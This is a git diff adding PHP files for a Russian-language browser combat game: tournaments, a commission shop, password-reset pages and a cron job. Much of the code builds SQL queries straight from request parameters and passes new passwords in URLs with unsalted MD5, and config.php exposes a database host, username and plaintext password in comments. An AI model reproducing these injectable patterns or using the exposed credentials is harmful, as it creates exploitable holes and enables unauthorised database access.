      ','{[]}'.nick7 ($res['userid1']).'{[]}'); + } + } + } + + if ($level!='') $level=' and level='.$level; + $sql=mysql_query("SELECT * FROM turnirbattle WHERE (userid=".$user['id']." or userid1=".$user['id'].") ".$level); + while ($res=mysql_fetch_array($sql)){ + $looseL1=mysql_fetch_row(mysql_query("select loose from turnamuser where iduser=".$res['userid1']." and idturnam=".$res['idtur'])); + $looseL=mysql_fetch_row(mysql_query("select loose from turnamuser where iduser=".$res['userid']." and idturnam=".$res['idtur'])); + if ($res['userid']==$user['id']) { + if($res['checkuser']==0){ + if($res['badmaxweap']!=0){ + if ((time()-$res['badmaxweap'])>120){ + mysql_query("update turnamuser set loose=2, place=".time()." where iduser=".$res['userid']." and idturnam=".$res['idtur']); + mysql_query("delete from turnirbattle where userid=".$res['userid']); + addchp ('Внимание!Вы выбыли из турнира
      ','{[]}'.nick7 ($res['userid']).'{[]}'); + addchp ('Внимание!Ваш противник отказался от боя. Техническая победа.
      ','{[]}'.nick7 ($res['userid1']).'{[]}'); + } + else echo "
      противник ".nick3($res['userid1'])."(поражений-".$looseL1[0].")
      "; + } + else echo "
      противник ".nick3($res['userid1'])."(поражений-".$looseL1[0].")
      "; + } + else echo "Ожидаем противника"; + } + + if ($res['userid1']==$user['id']){ + if ($res['checkuser2']==0){ + if($res['badmaxweap1']!=0){ + if ((time()-$res['badmaxweap1'])>120){ + mysql_query("update turnamuser set loose=2, place=".time()." where iduser=".$res['userid1']." and idturnam=".$res['idtur']); + mysql_query("delete from turnirbattle where userid1=".$res['userid1']); + addchp ('Внимание!Вы выбыли из турнира
      ','{[]}'.nick7 ($res['userid1']).'{[]}'); + addchp ('Внимание!Ваш противник отказался от боя. Техническая победа.
      ','{[]}'.nick7 ($res['userid']).'{[]}'); + } + else echo "
      противник ".nick3($res['userid'])."(поражений-".$looseL[0].")
      "; + } + else echo "
      противник ".nick3($res['userid'])."(поражений-".$looseL[0].")
      "; + } + else echo "Ожидаем противника"; + } + } + } + + function CreateTournament($title){ + //Вычисляем следующую пятницу + $dateTime=''; + if (date("w", mktime(0, 0, 0, date('n'), date('j'), date('Y')))==5 && date("H")>17){ + $nextDay=date('j')+1; + $DayofMonth=date('j'); + if ($nextDay>date('t')) { + $nextDay=1; + $DayofMonth=date("t",mktime(0, 0, 0, date('n')+1, 1, date('Y')));//даже если date('n')+1 = 13 mktime переведет на 01.01.следующий год + } + } + else{ + $nextDay=date('j'); + $DayofMonth=date('t'); + } + + for ($j=$nextDay;$j<=$DayofMonth;$j++){ + //узнаем день недели + $DayofWeek=date("w", mktime(0, 0, 0, date('n'), $j, date('Y'))); + if ($DayofWeek==5){ + $dateTime=mktime(17, 0, 0, date('n'), $j, date('Y')); + break; + } + } + //если пятниц в этом месяце не осталось + if ($dateTime==''){ + if (date("n")+1==13){ + $Month=1; + $Year=date("Y")+1; + } + else { + $Month=date('n')+1; + $Year=date("Y"); + } + + for ($j=1;$j<=date('t',mktime(0, 0, 0, $Month, 1, $Year));$j++){ + //узнаем день недели + $DayofWeek=date("w", mktime(0, 0, 0, $Month, $j, $Year)); + if ($DayofWeek==5){ + $dateTime=mktime(17, 0, 0, $Month, $j, $Year); + break; + } + } + } + + //Создаем турниры. + for ($i=1;$i<$this->MaxUserLevel;$i++) + if (!mysql_query("insert into turnament(title,level,datetime) values ('".$title."',".$i.",'".$dateTime."')")){ +//!!!!!!!!!!!!!!!!!!! failed to open stream: Permission denied in /www/capitalcity.oldbk.com/classturnir.php on line 57 + $f=fopen('/tmp/memcache/logtur/error.log','w'); + fwrite($f, "insert into turnament(title,level,datetime) values ('".$title."',".$i.",'".$dateTime."')\n"); + fclose($f); + } + } + + function showAllTurnament(){ + global $user; + $sql=mysql_query("select * from turnament where old=0"); + $dateD=mysql_fetch_row(mysql_query("select datetime from turnament where old=0 limit 1")); + if (mysql_num_rows($sql)<1) echo("На данный момент новых чемпионатов нет"); + if ($user['level']>0 && mktime()<$dateD[0]) + echo "
      "; + echo " + + + + + "; + if ($user['level']>0 && mktime()<$dateD[0]) + echo ""; + echo ""; + while ($res=mysql_fetch_array($sql)){ + if ($user['level']==$res['level']) + $dellzay=mysql_fetch_row(mysql_query("select id from turnamuser where iduser=".$user['id']." and idturnam=".$res['id'])); + echo " + + + + "; + if ($user['level']==$res['level'] && mktime()<$dateD[0]){ + if ($dellzay[0]=='') + echo ""; + else + echo ""; + } + echo ""; + } + echo "
      Название турнираВремя проведенияКол-во учасниковУровеньРегистрация
      + ".$res['title']." + + ".date("d.m.Y H:i",$res['datetime'])." + + ".$res['kolvo']." + + ".$res['level']." + + + + + + +
      "; + if ($user['level']>0 && mktime()<$dateD[0]) + echo "
      "; + } +} +?> \ No newline at end of file diff --git a/comission.php b/comission.php new file mode 100644 index 0000000..d4c2abb --- /dev/null +++ b/comission.php @@ -0,0 +1,391 @@ +0) && (is_numeric($_GET['n']) && $_GET['n']>0)) { + $dress = mysql_fetch_array(mysql_query("SELECT * FROM `inventory` WHERE `dressed`=0 AND `id` = '{$_GET['n']}' AND `owner` = '{$_SESSION['uid']}' LIMIT 1;")); + if($dress['id']) { + mysql_query("UPDATE `inventory` SET `setsale` = '".$_GET['kredit']."' WHERE `id` = '{$_GET['n']}' AND `owner` = '{$_SESSION['uid']}' LIMIT 1;"); + mysql_query("INSERT INTO `delo` (`id` , `author` ,`pers`, `text`, `type`, `date`) VALUES ('','0','{$_SESSION['uid']}','\"".$user['login']."\" сдал предмет: \"".$dress['name']."\" id:(cap".$dress['id'].") [".$dress['duration']."/".$dress['maxdur']."] в комиссионку за ".$_GET['kredit']." кр. ',1,'".time()."');"); + echo "Вы сдали в магазин \"{$dress['name']}\" за {$_GET['kredit']} кр."; + } + } + else { + echo "Не надо так делать"; + } + } + + if ($_GET['back']) { + if ($user['money'] >= 1) { + if (is_numeric($_GET['back']) && $_GET['back']>0) { + $dress = mysql_fetch_array(mysql_query("SELECT * FROM `inventory` WHERE `dressed`=0 AND `id` = '{$_GET['back']}' AND `owner` = '{$_SESSION['uid']}' AND `setsale` > '0' LIMIT 1;")); + if($dress['id']) { + mysql_query("UPDATE `users` set `money` = `money`-'1' WHERE id = {$_SESSION['uid']}"); + mysql_query("UPDATE `inventory` SET `setsale` = '0' WHERE `id` = '{$_GET['back']}' AND `owner` = '{$_SESSION['uid']}' LIMIT 1;"); + mysql_query("INSERT INTO `delo` (`id` , `author` ,`pers`, `text`, `type`, `date`) VALUES ('','0','{$_SESSION['uid']}','\"".$user['login']."\" забрал предмет: \"".$dress['name']."\" id:(cap".$dress['id'].") [".$dress['duration']."/".$dress['maxdur']."] из комиссионки ',1,'".time()."');"); + mysql_query("INSERT INTO `delo` (`id` , `author` ,`pers`, `text`, `type`, `date`) VALUES ('','0','{$_SESSION['uid']}','\"".$user['login']."\" заплатил 1 кр за хранение предмета: \"".$dress['name']."\" id:(cap".$dress['id'].") [".$dress['duration']."/".$dress['maxdur']."] в комиссионке ',1,'".time()."');"); + $user['money']=$user['money']-1; + + echo "Вы забрали из магазина \"".$dress['name']."\" за 1 кр."; + } + else { + echo "Произошла ошибка. Вещь не найдена в магазине!"; + } + } + else { + echo "Не надо так делать"; + } + } + else { + echo "У вас недостаточно денег на уплату комиссии."; + } + } + + + if (($_GET['set'] OR $_POST['set'])) { + if ($_GET['set']) { $set = $_GET['set']; } + if ($_POST['set']) { $set = $_POST['set']; } + if (!$_POST['count'] || !is_numeric($_POST['count']) || $_POST['count']<=0) { $_POST['count'] =1; } + if (is_numeric($set) && $set>0) { + $dress = mysql_fetch_array(mysql_query("SELECT * FROM `inventory` WHERE `dressed`=0 AND `id` = '{$set}' and `owner`!='".$user['id']."' AND `setsale` > '0' LIMIT 1;")); + $userfrom = mysql_fetch_array(mysql_query("SELECT `login`,`id` FROM `users` WHERE `id` = '".$dress['owner']."' LIMIT 1;")); + if ($userfrom['id'] && $dress['id']) { + if (($dress['massa']+$d[0]) > (get_meshok())) { + echo "Недостаточно места в рюкзаке."; + } + elseif ($user['money'] >= $dress['setsale']) { + if(mysql_query("UPDATE `inventory` SET `owner` = '{$user['id']}', `setsale` = 0 WHERE `id` = '{$set}' AND `setsale` > '0' LIMIT 1;")) + { + $good = 1; + } + else { + $good = 0; + } + + if ($good) { + //mysql_query("UPDATE `shop` SET `count`=`count`-{$_POST['count']} WHERE `id` = '{$set}' LIMIT 1;"); + echo "Вы купили \"".$dress['name']."\"."; + $moneyto=round($dress['setsale']*0.90,2); + $komiss=round($dress['setsale']*0.10,2); + mysql_query("UPDATE `users` set `money` = `money`- '".$dress['setsale']."' WHERE id = {$_SESSION['uid']}"); + mysql_query("UPDATE `users` set `money` = `money`+ '".$moneyto."' WHERE id = {$userfrom['id']}"); + mysql_query("INSERT INTO `delo` (`id` , `author` ,`pers`, `text`, `type`, `date`) VALUES ('','0','{$_SESSION['uid']}','\"".$user['login']."\" купил товар: \"".$dress['name']."\" id:(cap".$dress['id'].") [".$dress['duration']."/".$dress['maxdur']."] от \"".$userfrom['login']."\" за ".$dress['setsale']." кр. в комиссионке ',5,'".time()."');"); + mysql_query("INSERT INTO `delo` (`id` , `author` ,`pers`, `text`, `type`, `date`) VALUES ('','0','{$userfrom['id']}','\"".$user['login']."\" купил товар: \"".$dress['name']."\" id:(cap".$dress['id'].") [".$dress['duration']."/".$dress['maxdur']."] от \"".$userfrom['login']."\" за ".$dress['setsale']." кр. в комиссионке ',5,'".time()."');"); + mysql_query("INSERT INTO `delo` (`id` , `author` ,`pers`, `text`, `type`, `date`) VALUES ('','0','{$_SESSION['uid']}','\"".$user['login']."\" купил товар: \"".$dress['name']."\" id:(cap".$dress['id'].") [".$dress['duration']."/".$dress['maxdur']."] за ".$dress['setsale']." кр. в комиссионке ',1,'".time()."');"); + mysql_query("INSERT INTO `delo` (`id` , `author` ,`pers`, `text`, `type`, `date`) VALUES ('','0','{$userfrom['id']}','\"".$userfrom['login']."\" получил ".$moneyto." кр. за продажу товара: \"".$dress['name']."\" id:(cap".$dress['id'].") [".$dress['duration']."/".$dress['maxdur']."] через комиссионку ',1,'".time()."');"); + $user['money']=$user['money']-$dress['setsale']; + $us = mysql_fetch_array(mysql_query("select `id` from `online` WHERE `date` >= ".(time()-60)." AND `id` = '{$userfrom['id']}' LIMIT 1;")); + if($us[0]){ + addchp ('Внимание! Успешно продан предмет "'.$dress['name'].'" за '.$dress['setsale'].' кр. Комиссия составила '.$komiss.' кр. Вам перечислено от комиссионного магазина '.$moneyto.' кр. ','{[]}'.$userfrom['login'].'{[]}'); + } else { + // если в офе + mysql_query("INSERT INTO `telegraph` (`owner`,`date`,`text`) values ('".$userfrom['id']."','','".'Внимание! Успешно продан предмет "'.$dress['name'].'" за '.$dress['setsale'].' кр. Комиссия составила '.$komiss.' кр. Вам перечислено от комиссионного магазина '.$moneyto.' кр. '."');"); + } + } + } + else { + echo "Недостаточно денег или нет вещей в наличии."; + } + } + else { + echo "Вещь не найдена в магазине"; + } + } + else { + echo "Не надо так делать"; + } + } + + if ($_GET['unsale'] && $_GET['kredit'] && $_GET['id']) { + if ((is_numeric($_GET['kredit']) && $_GET['kredit']>0) && (is_numeric($_GET['id']) && $_GET['id']>0)) { + $dress = mysql_fetch_array(mysql_query("SELECT * FROM `inventory` WHERE `dressed`=0 AND `id` = '{$_GET['id']}' AND `owner` = '{$_SESSION['uid']}' AND `setsale` > 0 LIMIT 1;")); + if($dress['id']) { + if($user['money'] >= 0.1) { + mysql_query("UPDATE `inventory` SET `setsale` = '".$_GET['kredit']."' WHERE `id` = '{$_GET['id']}' AND `owner` = '{$_SESSION['uid']}' LIMIT 1;"); + + mysql_query("UPDATE `users` set `money` = `money`- '0.1' WHERE id = {$_SESSION['uid']}"); + mysql_query("INSERT INTO `delo` (`id` , `author` ,`pers`, `text`, `type`, `date`) VALUES ('','0','{$_SESSION['uid']}','\"".$user['login']."\" заплатил 0.1 кр за смену цены на предмет \"".$dress['name']."\" id:(cap".$dress['id'].") [".$dress['duration']."/".$dress['maxdur']."] в комиссионке ',1,'".time()."');"); + $user['money']=$user['money']-0.1; + echo "Вы изменили цену \"{$dress['name']}\" на {$_GET['kredit']} кр."; + } + else { + echo "У вас недостаточно денег на выполнение операции."; + } + } + else { + echo "Предмет не найден."; + } + } + else { + echo "Не надо так делать"; + } + } + +?> + + + + + + + + + + + + + + + + +
      + + + + + + + + +
      Отдел "" + +
      + + 0 ORDER by `setsale` ASC"); + while($row = mysql_fetch_array($data)) { + $row['count'] = 1; + $row['cost'] = $row['setsale']; + if ($i==0) { $i = 1; $color = '#C7C7C7';} else { $i = 0; $color = '#D5D5D5'; } + echo " + +
      Ваш товар + "; + showitem ($row); + echo ""; + } +} +elseif ($_REQUEST['sale']) { + echo ""; + $data = mysql_query("SELECT * FROM `inventory` WHERE `setsale` = 0 AND `owner` = '{$_SESSION['uid']}' AND `dressed` = 0 AND `present` = '' ORDER by `update` DESC; "); + while($row = mysql_fetch_array($data)) { + $row['count'] = 1; + if ($i==0) { $i = 1; $color = '#C7C7C7';} else { $i = 0; $color = '#D5D5D5'; } + echo " + "; + showitem ($row); + echo ""; + } +} elseif ($_REQUEST['unsale']) { + $data = mysql_query("SELECT * FROM `inventory` WHERE `setsale` > 0 AND `owner` = '{$_SESSION['uid']}' AND `dressed` = 0 ORDER by `update` DESC; "); + while($row = mysql_fetch_array($data)) { + $row['count'] = 1; + if ($i==0) { $i = 1; $color = '#C7C7C7';} else { $i = 0; $color = '#D5D5D5'; } + echo " + "; + showitem ($row); + echo ""; + } +} else +{ + $data = mysql_query("SELECT DISTINCT `img`, `name`, `nalign`,`massa` FROM `inventory` WHERE `dressed`=0 AND `setsale` > 0 AND `present` = '' AND `otdel` = '".$_GET['otdel']."' GROUP BY `img` ORDER by `cost` ASC"); + while($row = mysql_fetch_array($data)) { + $item_name1=str_replace("+1","",$row[1]); + $item_name1=str_replace("+2","",$item_name1); + $item_name1=str_replace("+3","",$item_name1); + $item_name1=str_replace("+4","",$item_name1); + $item_name1=str_replace("+5","",$item_name1); + $item_name=str_replace(" (мф)","",$item_name1); + $item = mysql_fetch_array(mysql_query("SELECT count(`id`), min(duration), min(maxdur), max(duration), max(maxdur), min(setsale), max(setsale) FROM `inventory` WHERE `dressed`=0 AND `setsale` > 0 AND `present` = '' AND name LIKE '".$item_name."%';")); + //$row['count']=1; + if ($i==0) { $i = 1; $color = '#C7C7C7';} else { $i = 0; $color = '#D5D5D5'; } + ?> + > + + + + +
      "; + if($row['owner'] != $user['id']){ + ?> +
      купить
      Комиссия за услуги магазина составляет 10% от цены, по которой вы предлагаете предмет.
      "; + ?> +
      cдать в магазин +
      "; + ?> +
      забрать за 1 кр. +
      сменить цену
      за 0.1 кр.
      +

      подробнее
      + (Масса: )
      + Цена: - кр. (количество: )
      + + Долговечность: -/-
      + +
      +
      + +
      + +
      +
      + + + +
      + +

      +
      Масса всех ваших вещей: /
      + У вас в наличии: кр.
      +
      + +
      + + + diff --git a/config.php b/config.php new file mode 100644 index 0000000..5f237bd --- /dev/null +++ b/config.php @@ -0,0 +1,43 @@ + array('align' => array(2.99), 'id' => array(10022)), 'g_nologin' => array('align' => array(2.99), 'id' => array(10022))); + +//$mysql = mysqli_connect('192.168.20.100', 'combats_full', 'JuUn1hWq4J'); +//mysqli_select_db('combats_game', $mysql); +//mysqli_query('SET NAMES utf8'); + +require_once('Database/Mysql.php'); +require_once('Database/Exception.php'); +require_once('Database/Statement.php'); +require_once('Database/db.php'); +//$db = \Krugozor\Database\Mysql\Mysql::create('192.168.20.100', 'combats_full', 'JuUn1hWq4J') +// ->setCharset('utf8') +// ->setDatabaseName('combats_game'); +//class db +//{ +// private static $_instance = null; +// +// private function __clone() {} +// private function __construct() {} +// /** +// * @return \Krugozor\Database\Mysql\Mysql +// */ +// +// public static function c() +// { +// if (!self::$_instance) +// { +// self::$_instance = \Krugozor\Database\Mysql\Mysql::create("192.168.20.100", "combats_full", "JuUn1hWq4J") +// // Выбор базы данных +// ->setDatabaseName("combats_game") +// // Выбор кодировки +// ->setCharset("utf8"); +// } +// return self::$_instance; +// } +//} + +?> diff --git a/confirmpassw.php b/confirmpassw.php new file mode 100644 index 0000000..3436be6 --- /dev/null +++ b/confirmpassw.php @@ -0,0 +1,28 @@ + + + + + + Востановление пароля + + +
      + query('SELECT * FROM `confirmpasswd` WHERE `login` = "?s" AND `passwd` = "?s" AND `date` = "?s" AND `active` = "?s"', $login, $passwd, $timev, 1); + if ($sql->getNumRows() == 0) die("Ссылка устарела!"); + $sql = $sql->fetch_assoc(); + db::c()->query('UPDATE `users` SET `pass` = "?s" WHERE `login` = "?s"', md5($passwd), $sql['login']); + db::c()->query('UPDATE `confirmpasswd` SET `active` = "?s" WHERE `login` = "?s" AND `passwd` = "?s" AND `date` = "?s" AND `active` = "?s"', 0, $login, $passwd, $timev, 1); + } else echo "Ссылка устарела."; + ?> + +
      + + \ No newline at end of file diff --git a/confpassbank.php b/confpassbank.php new file mode 100644 index 0000000..406c2f2 --- /dev/null +++ b/confpassbank.php @@ -0,0 +1,57 @@ + + + + + + + Востановление пароля + +
       
      +
      + + + + +
      +
      + browser."--"; + /*switch ($browsers->browser){ + case 'Chrome' : + $_GET['login']=iconv('utf-8', 'cp1251', $_GET['login']); + break; + case 'Safari' : + $_GET['login']=iconv('utf-8', 'cp1251', $_GET['login']); + break; + case 'Default Browser' : //Opera10 + $_GET['login']=iconv('utf-8', 'cp1251', $_GET['login']); + break; + case 'Firefox' : + $_GET['login']=$_GET['login']; + break; + }*/ + + $realtime=mktime(date(H), date(i), date(s), date("m") , date("d"), date("Y")); + + $_GET['login']=strtolower($_GET['login']); + if ($_GET['newpass']!='' && $_GET['login']!='' && $_GET['timev']!='' && $realtime<=$_GET['timev']) { + include("config.php"); + $sql=mysql_query("select * from confirmpasswd where login='bbb".$_GET['login']."bbb' and passwd='".$_GET['newpass']."' and date='".$_GET['timev']."' and active=1") or die("Ошибка обработки запроса."); + if (mysql_num_rows($sql)==0 or mysql_num_rows($sql)=='') die("

      Ссылка устарела!

      "); + $sql=mysql_fetch_array($sql,MYSQL_ASSOC) or die("Ошибка обработки запроса!!"); + mysql_query("update bank set pass='".md5($_GET['newpass'])."' where id='".$_GET['login']."'") or die("Ошибка обработки запроса!"); + echo "
      Пароль изменен. Не забывайте пароль.
      Для входа в игру перейдите по сылке http://old-dark.ru/
      "; + @mysql_query("update confirmpasswd set active=0 where login='bbb".$_GET['login']."bbb' and passwd='".$_GET['newpass']."' and date='".$_GET['timev']."' and active=1"); + } + else echo "

      Ссылка устарела.

      "; + ?> +
      + +
      +
      +
      +

      +
    + + \ No newline at end of file diff --git a/cron.php b/cron.php new file mode 100644 index 0000000..09f799b --- /dev/null +++ b/cron.php @@ -0,0 +1,534 @@ + 3) { + return 'Ай-ай-ай!'; + } + } + + if(mysql_query("DELETE FROM `zayavka` WHERE `id` = {$zay} AND (`team1` LIKE '{$id};%' OR `team2` LIKE '{$id};%') LIMIT 1")) { + if(count($z[$zay]['team1']) > 0) { + foreach($z[$zay]['team1'] as $k => $v) { + mysql_query("UPDATE `users` SET `zayavka` = 0 WHERE `id` = {$v}"); + } + } + + if(count($z[$zay]['team2']) > 0) { + foreach($z[$zay]['team2'] as $k => $v) { + mysql_query("UPDATE `users` SET `zayavka` = 0 WHERE `id` = {$v}"); + } + } + } +} + +function fteam($team) { + $team = explode(";", $team); + unset($team[count($team)-1]); + return $team; +} + +function getlist($razdel = 1, $level = null, $id = null ) { + $fict = mysql_query("SELECT * FROM `zayavka` WHERE ".(($level != null)? " ((`t1min` <= '{$level}' OR `t1min` = '99') AND (`t1max` >= '{$level}' OR `t1max` = '99') ".(($razdel == 4)?"AND (`t2min` <= '{$level}' OR `t2min` = '99') AND (`t2max` >= '{$level}' OR `t2max` = '99')":"").") AND " : "")." `level` = {$razdel} ".(($id != null)? " AND `id` = {$id} " : "")." ORDER BY `podan` DESC"); + while($row = mysql_fetch_array($fict)) { + if(($row['start']+300) < time()) { + if(mysql_query("DELETE FROM `zayavka` WHERE `id` = '{$row['id']}' LIMIT 1")) { + $team1 = fteam($row['team1']); + foreach($team1 as $k => $v) { + mysql_query("UPDATE `users` SET `zayavka` = '0' WHERE `id` = {$v}"); + } + $team2 = fteam($row['team2']); + foreach($z[$zay]['team2'] as $k => $v) { + mysql_query("UPDATE `users` SET `zayavka` = '0' WHERE `id` = {$v}"); + } + } + } + $zay[$row['id']] = array("team1" => fteam($row['team1']), "team2" => fteam($row['team2']), "coment" => $row['coment'], "type" => $row['type'], "timeout" => $row['timeout'], "start" => $row['start'], "t1min" => $row['t1min'], "t1max" => $row['t1max'], "t2min" => $row['t2min'], "t2max" => $row['t2max'], "t1c" => $row['t1c'], "t2c" => $row['t2c'], "podan" => $row['podan'], "id" => $row['id'], "level" => $row['level'], "blood" => $row['blood'], "bots" => $row['bots']); + } + return $zay; +} + +function startbattle($id, $zay, $r) { + $z = getlist($r, null, $zay); + if($id == 'CHAOS') { $id = $z[$zay]['team1'][0]; } + delzayavka($id, $zay, $r); + $z = $z[$zay]; + $count_users = count($z['team1']); + + $bot = 0; + if($z['bots'] > 0 && $count_users > 0) { + $bots_raw = array(7 => array(10962, 10964, 10965), 8 => array(10962, 10964, 10965), 13 => array(10962, 10964, 10965)); + $i = 0; + while($i <= count($bots_raw[$z['bots']])) { + $bot_id = $bots_raw[$z['bots']][$i]; + $bot = createbot($bot_id, ''); + $z['team1'][] = $bot['id']; + $i++; + $count_users++; + } + } + + if($z['type'] == 4 || $z['type'] == 5) { + foreach($z['team1'] as $k => $v) { + undressall($v); + } + + foreach($z['team2'] as $k => $v) { + undressall($v); + } + } + + if($z['type'] == 3 || $z['type'] == 5) { + if($count_users < 4) { + mysql_query("UPDATE `users` SET `zayavka` = '0' WHERE `zayavka` = '".$zay."'"); + foreach($z['team1'] as $k => $v) { + if($v < _BOTSEPARATOR_) { + file_get_contents('http://capitalcity.old-dark.ru/chats.php?id=6&user='.$v); + } + } + mysql_query("UPDATE `variables` SET `value` = '{$count_users}}' WHERE `var` = 'haos_match' LIMIT 1"); + mysql_query("DELETE FROM `zayavka` WHERE `id` = '".$zay."' LIMIT 1"); + } + + $all = count($z['team1'])-1; + $power1 = 0; $power2 = 0; + + for($i = 0; $i <= $all; $i++) { + if($z['team1'][$i] < _BOTSEPARATOR_) { + $gamer = mysql_fetch_array(mysql_query("SELECT (`level`*50)+`sila`+`lovk`+`inta`+`vinos`+`intel`+`stats`+IFNULL((SELECT SUM(`cost`) FROM `inventory` WHERE `owner` = `users`.`id` AND `dressed` = 1), 0) FROM `users` WHERE `id` = '".$z['team1'][$i]."' LIMIT 1")); + } else { + $bt = mysql_fetch_array(mysql_query('SELECT `id`, `prototype` FROM `bots` WHERE `id` = "'.$z['team1'][$i].'"')); + $gamer = mysql_fetch_array(mysql_query("SELECT (`level`*50)+`sila`+`lovk`+`inta`+`vinos`+`intel`+`stats`+IFNULL((SELECT SUM(`cost`) FROM `inventory` WHERE `owner` = `users`.`id` AND `dressed` = 1), 0) FROM `users` WHERE `id` = '".$bt['prototype']."' LIMIT 1")); + } + + $cost[] = array($z['team1'][$i], $gamer[0]); + } + + $z['team1'] = null; + $z['team2'] = null; + + $flag = true; + while($flag) { + $flag = false; + for($ii = 0; $ii <= $all-1; $ii++) { + if($cost[$ii][1] < $cost[$ii+1][1]) { + $ctr = $cost[$ii+1]; + $cost[$ii+1] = $cost[$ii]; + $cost[$ii] = $ctr; + $flag = true; + } + } + } + + while(count($cost) > 0) { + if($power1 <= $power2) { + $tmp = array_shift($cost); + $power1 += $tmp[1]; + $z['team1'][] = $tmp[0]; + } else { + $tmp = array_shift($cost); + $power2 += $tmp[1]; + $z['team2'][] = $tmp[0]; + } + } + } + + $teams = array(); + + foreach($z['team1'] as $k => $v) { + foreach($z['team2'] as $kk => $vv) { + $teams[$v][$vv] = array(0, 0, time()); + } + } + + foreach($z['team2'] as $k => $v) { + foreach($z['team1'] as $kk => $vv) { + $teams[$v][$vv] = array(0, 0, time()); + } + } + + if(count($z['team2']) == 0) { + mysql_query("UPDATE `users` SET `zayavka` = 0 WHERE `zayavka` = '".$zay."'"); + foreach($z['team1'] as $k => $v) { + file_get_contents('http://capitalcity.old-dark.ru/chats.php?id=6&user='.$v); + } + mysql_query("DELETE FROM `zayavka` WHERE `id` = '".$zay."' LIMIT 1"); + die(); + } + + $arr = array(3, 4, 5, 7, 10); + + if(in_array($z['timeout'], $arr)) { + + } else { + $z['timeout'] = 3; + } + + if($z['type'] == 1 || $z['type'] == 4) { + $rs = ', `fiz`'; $rss = ', 1'; + } else { + $rs = ''; $rss = ''; + } + + mysql_query("INSERT INTO `battle` (`coment`, `teams`, `timeout`, `type`, `status`, `t1`, `t2`, `to1`, `to2`, `blood`$rs, `bots`) VALUES ('{$z['coment']}', '".serialize($teams)."', '{$z['timeout']}', '{$z['type']}', '0', '".implode(";", $z['team1'])."', '".implode(";", $z['team2'])."', '".time()."', '".time()."', '".$z['blood']."'$rss, '".$z['bots']."')"); + $id = mysql_insert_id(); + $rr = ""; + + foreach($z['team1'] as $k => $v) { + if($k != 0) { $rr .= ", "; } + $rr .= nick3($v); + file_get_contents('http://capitalcity.old-dark.ru/chats.php?id=7&user='.$v); + } + + $rr .= " и "; + + foreach($z['team2'] as $k => $v) { + if($k != 0) { $rr .= ", "; } + $rr .= nick3($v); + file_get_contents('http://capitalcity.old-dark.ru/chats.php?id=7&user='.$v); + } + + $rr .= ""; + addlog($id, "Часы показывали ".date("Y.m.d H.i").", когда ".$rr." бросили вызов друг другу.
    "); + + foreach($z['team1'] as $k => $v) { + if($v < _BOTSEPARATOR_) { + mysql_query("UPDATE `users` SET `battle` = {$id}, `zayavka` = 0 WHERE `id` = {$v}"); + } else { + mysql_query("UPDATE `bots` SET `battle` = {$id} WHERE `id` = {$v}"); + } + } + + foreach($z['team2'] as $k => $v) { + if($v < _BOTSEPARATOR_) { + mysql_query("UPDATE `users` SET `battle` = {$id}, `zayavka` = 0 WHERE `id` = {$v}"); + } else { + mysql_query("UPDATE `bots` SET `battle` = {$id} WHERE `id` = {$v}"); + } + } +} +########## + +########Start Заявки для ботов в хаоты######## +$battle_bots = mysql_fetch_array(mysql_query('SELECT `id` FROM `battle` WHERE `win` = 3 AND `bots` > 0 ORDER BY `id` DESC LIMIT 1')); +$zay_bots = mysql_fetch_array(mysql_query('SELECT `id` FROM `zayavka` WHERE `bots` > 0 ORDER BY `id` DESC LIMIT 1')); + +if(!isset($battle_bots['id']) && !isset($zay_bots['id'])) { + $haos_match = array(); + $hm_ok = array(7 => 1); + foreach($hm_ok as $lvl => $flag) { + if($flag == 1) { + mysql_query("INSERT INTO `zayavka` (`start`, `timeout`, `t1c`, `t2c`, `type`, `level`, `coment`, `team1`, `stavka`, `t1min`, `t2min`, `t1max`, `t2max`, `podan`, `blood`, `bots`) VALUES ('".(time()+3*60)."', '3', '99', '99', '3', '5', 'Бой с силами Хаоса {$lvl} уровня.', '', '', '{$lvl}', '{$lvl}', '{$lvl}', '{$lvl}', '".date("H:i")."', '0', '{$lvl}')"); + $haos_match[$lvl] = mysql_insert_id(); + } + } + file_get_contents('http://capitalcity.old-dark.ru/chats.php?id=1'); +} +########End Заявки для ботов в хаоты######## + + +###### +$te_zay = mysql_query('SELECT `id`, `start` FROM `zayavka`'); +while($zs = mysql_fetch_array($te_zay)) { + if(($zs['start']+180) < time()) { + mysql_query('UPDATE `users` SET `zayavka` = "0" WHERE `zayavka` = "'.$zs['id'].'"'); + mysql_query('DELETE FROM `zayavka` WHERE `id` = "'.$zs['id'].'"'); + } +} +###### + +if(date("H-i") == "03-00") { + $del_tm = (time()-60*60*24*7); + $us_lim = mysql_fetch_array(mysql_query("SELECT `id` FROM `battle` WHERE `to1` < '{$del_tm}' ORDER BY `to1` DESC LIMIT 1")); + $us_lim = $us_lim['id']; + mysql_query("DELETE FROM `battle` WHERE `id` < '{$us_lim}'"); + $del_tm = (time()-60*60*24*60); + mysql_query("DELETE FROM `delo` WHERE `date` < '".$del_tm."'"); + mysql_query("OPTIMIZE `battle`, `delo`"); +} + +if(date("H-i") == "00-00") { + $perses = mysql_query('SELECT `id`, `vip`, `vip_time` FROM `users` WHERE `vip` > 0 AND `vip_time` > 0'); + while($unvip = mysql_fetch_array($perses)) { + if($unvip['vip'] > 0) { + if($unvip['vip_time'] <= time()) { + remove_vip($unvip['id']); + } + } + } +} + +$sp = mysql_query('SELECT `id`, `vip`, `vip_time` FROM `users` WHERE `vip` > 0 AND `vip_time` > "'.time().'"'); +while($pl = mysql_fetch_array($sp)) { + upd_vip($pl['id'], $pl['vip']); +} + +mysql_query('UPDATE `actions` SET `vals` = "end" WHERE `vars` LIKE "start_quest%" AND `vals` = "go" AND `val` <= "'.time().'"'); + +if(date("H-i") == "06-00") { + if(date("d") == "01") { + mysql_query("UPDATE `variables` SET `value` = '{$tm}' WHERE `var` = 'ref_month' LIMIT 1"); + mysql_query("UPDATE `variables` SET `value` = '0' WHERE `var` = 'ref_m_id' LIMIT 1"); + } + if(date("N") == "7") { + mysql_query("UPDATE `variables` SET `value` = '{$tm}' WHERE `var` = 'ref_week' LIMIT 1"); + mysql_query("UPDATE `variables` SET `value` = '0' WHERE `var` = 'ref_w_id' LIMIT 1"); + } +} + +$st_ar = mysql_fetch_array(mysql_query('SELECT `value` FROM `variables` WHERE `var` = "arena_of_gods" LIMIT 1')); +if($st_ar['value'] <= time()) { + $dark = mysql_fetch_array(mysql_query('SELECT `id`, `login`, `level`, `hp` FROM `users` WHERE `id` = 10023 LIMIT 1')); + $light = mysql_fetch_array(mysql_query('SELECT `id`, `login`, `level`, `hp` FROM `users` WHERE `id` = 10024 